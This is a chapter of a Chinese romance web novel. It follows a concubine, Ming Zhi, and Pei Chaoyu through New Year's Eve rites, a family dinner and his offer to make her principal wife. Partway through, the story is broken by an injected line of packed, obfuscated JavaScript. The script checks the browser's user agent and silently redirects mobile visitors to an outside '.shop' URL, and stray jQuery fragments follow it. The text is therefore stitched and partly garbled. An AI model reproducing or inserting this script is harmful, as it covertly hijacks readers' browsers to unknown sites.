裴离落关禁闭这段时间学会不少新花样,剪出了聪明灵动的小兔子,栩栩如生的后院寒梅,还有那千姿百态的新年祝福。
“你房中想贴什么?”把剪好的窗花全拿出来,裴离落兴奋问明枝。
她选了选:“这几个福字贴窗户,这个梅花我想贴在木盒上,这小兔子让你三哥去给小言儿贴几个。”
“我也是这么想的!”
小芙去厨房里搅了浆糊端来,热乎乎的还冒着大白面的香气。裴朝郁躺在椅子上悠闲吃着葡萄,被裴离落扔来的刷子砸个正着。
“干活了!”
裴朝郁毫不客气扔回去:“腿短不会搬凳子?”
“你等着!”
三秒后,明枝粉嫩漂亮的脸蛋探出门框,软声喊他:“夫君,快来帮忙。”
裴朝郁唇角弧度扬了一半,拍拍衣服起身,背着手走到门槛处,停下。
明枝后脑勺被拍了拍,她转头看,裴朝郁歪头质问:“你怎么还不站在我这边?”
“什么站在你这边?”裴离落可听不得这话:“你做什么了就要站在你这边?是长了八条腿功夫盖世还是顶天立地了?”
裴朝郁不耐烦:“小孩一边玩去。”
裴离落硬挤到他和明枝中间,叉腰隔开两人:“我偏不!”
“你烦不烦人?”
他们一吵起来能吵个没完,明枝噙着一抹笑拿起身侧的窗花,同小芙往窗边去。
“小姐每次禁足都会学到新东西,再禁上几日,怕是女红都要会做了。”
明枝拿起小刷子:“那还是不会的好。”
那厢,裴离落和裴朝郁此次斗嘴以一壶好酒为胜。尝酒和明枝一道,拼酒必须是裴朝郁才行。这厮没怎么醉过,必须下料才行。
“我来。”
明枝刚把面浆抹在窗花上,裴朝郁伸手,自自然接了过去。
她指挥着:“往左边一点。”
裴朝郁个高,不用站凳子便能轻而易举贴到高处。明枝指挥他贴对称了,才拿着小兔子形状去给小言儿贴。
小芙端着面浆跟在他们身后,瞧见自家少爷一脸不值钱的笑,还总歪着头往明姑娘身上贴。被推开了也不恼,那交握的手牵得可是紧密了。
除夕这一早,街上天不亮便开始放鞭炮。家家户户门前都挂上了红灯笼,小孩子的新衣也是各式各样的漂亮。
今日都要去给老夫人请早,明枝醒时窗外还灰蒙蒙的。她缩身蜷在裴朝郁怀里,手还抚摸着他光滑的胸膛。
长时间习武的人,身上肌肉结实有力。明枝摸到几道划痕,结了痂,些许磕绊。
捂着被子动了两下起身,还顾不上后腰泛酸那股劲,明枝羞恼直涌上心头。她记得没弄多久,怎么现在还在往外流……
新衣是昨夜备好了的,那粉白为底,通透柔和自带朦胧感的海棠粉布料裁出的上襦纱衫,极衬明枝干净温婉的气质。月牙锦白的下裙摆上纹着细碎折枝海棠,温润耐看,得体又有气色。
净手后坐到铜镜前,明枝拿起方才便注意到的红封,估摸着是裴朝郁给她的拜岁钱。不是铜板也不是碎银,是几张堆叠的银票。
小芙笑说:“不放在枕头下,看来少爷和姑娘是一样的心思。”
昨夜同明枝欢好后,裴朝郁哄她睡下起来放红封,被收拾净房的小芙撞了个正着,还叮嘱她别说,叫明枝自己发现。而她一早起来,是为了准备给裴朝郁的新年礼。
明枝给裴朝郁做了三条腰封,但念着新春好事成双的理,便只放了两条在托盘里。
裴朝郁起来时屋里已没了她的身影,那袭面料顺滑的宝蓝暗云纹贡缎长衫正挂于身侧,绸缎流光隐隐,纹样内敛雅致。
“奴婢侍奉少爷更衣。”
裴朝郁顿顿手,一眼锁住托盘中那玄色织金腰封。缎面织满细密云鹤暗纹,正中镶着整块暖白玉带扣,雕着缠枝如意纹,一针一线,织枝心意。
另一条深棕乌木纹的软皮腰封颜色较为深沉些,正中嵌墨玉方扣,素面无繁雕,只刻极简山水线条。裴朝郁静静凝望着,脑中不自觉浮现出明枝低着头,认认真真纹绣的样子。
小芙适时提醒:“姑娘说请少爷自己选一条配新衣,她在老夫人房中等着你。”
此时此刻,裴朝郁恨不得自己长了两个腰,能把这腰封全用上。
众人皆到,裴朝郁才姗姗来迟。进屋,他的视线落在明枝身上便移不开眼。明枝眼睛在他腰间停留一秒,她没猜错,裴朝郁选了玄色金纹那条。
老夫人也点头:“你这身衣裳做得不错,压得住少年心气,颇有几分你爹当年的模样。”
裴朝郁夸赞:“是明枝眼光好,孙儿跟着沾了光。”
“是不错。”
明枝浅笑:“谢祖母、夫君夸赞。”
给老夫人请了早,一行人便朝着祠堂去。每年这一日祭祖都由老夫人主祭,周靖宁协助。依照辈分依次上香、跪拜、宣读祝文并敬献贡品。
明枝跪于最后排,看着裴朝郁在周靖宁的嘱托下烧香跪拜,一派庄严肃穆。
用过早膳后有段空闲,明枝前脚回房稍作歇息,裴朝郁后脚便跟了进来。屋里烧着炭火,她卸了氅衣取暖。
“冷不冷?”
明枝轻摇头:“不冷。”
裴朝郁抓着她的手带到唇边啄了几下,她指尖冰冰凉凉的。
“过来。”
他张开腿要明枝坐上去,小芙没好意思再守着,低笑一声出门去了。
明枝羞涩:“夫君怎么这么不知羞?”
裴朝郁义正言辞:“我若不知羞,这会又该躺下了。”
拗不过,明枝还是老老实实坐到了他腿上。裴朝郁今日是对她的手情有独钟,抓着翻来覆去看。
“绣了多久?”
明枝:“没多久。”
裴朝郁心疼:“刺绣伤手,这心意不许再有了。”
扎人的唇落到侧颈,明枝躲着笑:“知道了。”
除夕这顿年夜饭是由周靖宁亲自安排的,正席设在厅堂,老夫人坐于上位,裴朝郁和母亲分坐一左一右。明枝同裴离落坐于两侧,下人们分立伺候着。
桌上菜品成双,鸡鸭鱼肉俱全。祝贺的话由老夫人先起,薄酒敬天地,祈愿岁岁荣华,长安长乐。
裴离落一年难得期待这一天,桌上人人和颜悦色,不见平日的疏离冷漠。菜品皆是色香味俱全,可惜她管不住嘴已连吃了好几日的美味佳肴,只觉身体都笨了。
“怎么不动筷?”明枝问她。
裴离落低声:“这几日吃太多了,胃里胀得难受。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664422|203058||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
明枝失笑:“那别让你三哥同你喝酒了,喝坏了可不好。”
“那怎么行!”
“好不容易等他松口一次!”
裴朝郁抬眼望去,他的明枝和裴离落不知道又在打什么小算盘,嘴里窃窃私语着,脸上小表情古灵精怪。
正看得兴起,他手里忽然多了个红封出来。偏头,老夫人对他挤眉弄眼,示意他宴席散后给明枝。
按理到亥时,晚辈应该辞岁行礼,老夫人才会在礼后发红封。妾室私赏要回房私下发放,裴朝郁以为他私下给明枝即可。不曾想,明枝行礼后祖母还是给了同旁人一样的份。
原来,是要给她双份。
守岁有守岁的规矩,熬不住的老夫人也到了夜深才回去。剩下几人围坐在暖阁,守着桌上没人动的瓜果点心。
这是明枝十七年来第一次在团圆夜思念家人。这裴府的大鱼大肉总不及家中的萝卜酸菜爽口,看这天色,想必父亲母亲和兄长嫂嫂定是围坐在火炉边侧,吃着瓜子聊明年该做些什么。
去年今日,明枝白天和哥哥们贴了对联窗花,傍晚进厨房帮王云芝做饭,晚上再同父亲喝上两杯,回房便会发现枕头下多了拜岁的红封。
一墙之隔,清云县的街上热闹非凡。孩子们穿新衣耍花灯,一簇簇烟火直入天际,在漆黑的夜空炸响,衬得裴府愈发清冷。
裴朝郁瞧见明枝走了神,眉间掠过一丝失落。裴朝郁毫不犹豫起身,牵着她往院子里走。
周靖宁喊:“除夕守岁你还要去何处?”
裴朝郁没回头:“在院子里,这岁同样能守。”
院子里不一样,院子里能看见璀璨的烟火,总有那么一簇,会和小云镇的一同炸响。
明枝被裴朝郁护在身前,璀璨坠落的瞬间她不再去想惹怒了周靖宁要怎么办,不再想没有身孕如何是好。她只想,她是明枝,有钱有爱有顺遂日子的明枝。
新的一年,明枝会更好。
“枝枝。”
明枝回应:“夫君。”
裴朝郁脸颊贴着明枝耳廓,薄唇在她唇角点了下,哄道:“待我回京便向圣上请旨,扶你为正室,可好?”
似有万千寒风从四肢百骸渗入骨髓,在即将靠近明枝心底时遇到那股叫裴朝郁的热源,将她的所有一一融化,只剩滚烫的心动。
做他的正室?
明枝想过,很多次。
但也只是想过。
她想,在府中有位日日对自己虎视眈眈的母亲,在京城有爱慕自己夫君的世家小姐。对内,明枝手无实权,对外,无人将她看起。
这正室,她做不得。
于是,明枝没犹豫道:“可是我只想当妾呀。”
裴朝郁:“为何?”
“当妾多简单。”明枝伸出两只手:“不用诗词歌赋,不用琴棋书画,不用是门当户对的小姐,只要凭这一双熟能生巧的手,便可赚取谋生的银两不被世俗所缚。做妾室,可比做夫君的正室好多了!”
明枝是笑着的,可那笑意很浅,在笑什么,可能她自己也未曾知晓。
“明枝愚钝,算不来这裴府千万资产,对不上良田万顷,更管不来这上上下下的衣食住行……夫君想让我转正,可有得磋磨。”
裴朝郁轻叹气:“若是我执意如此,你当如何?”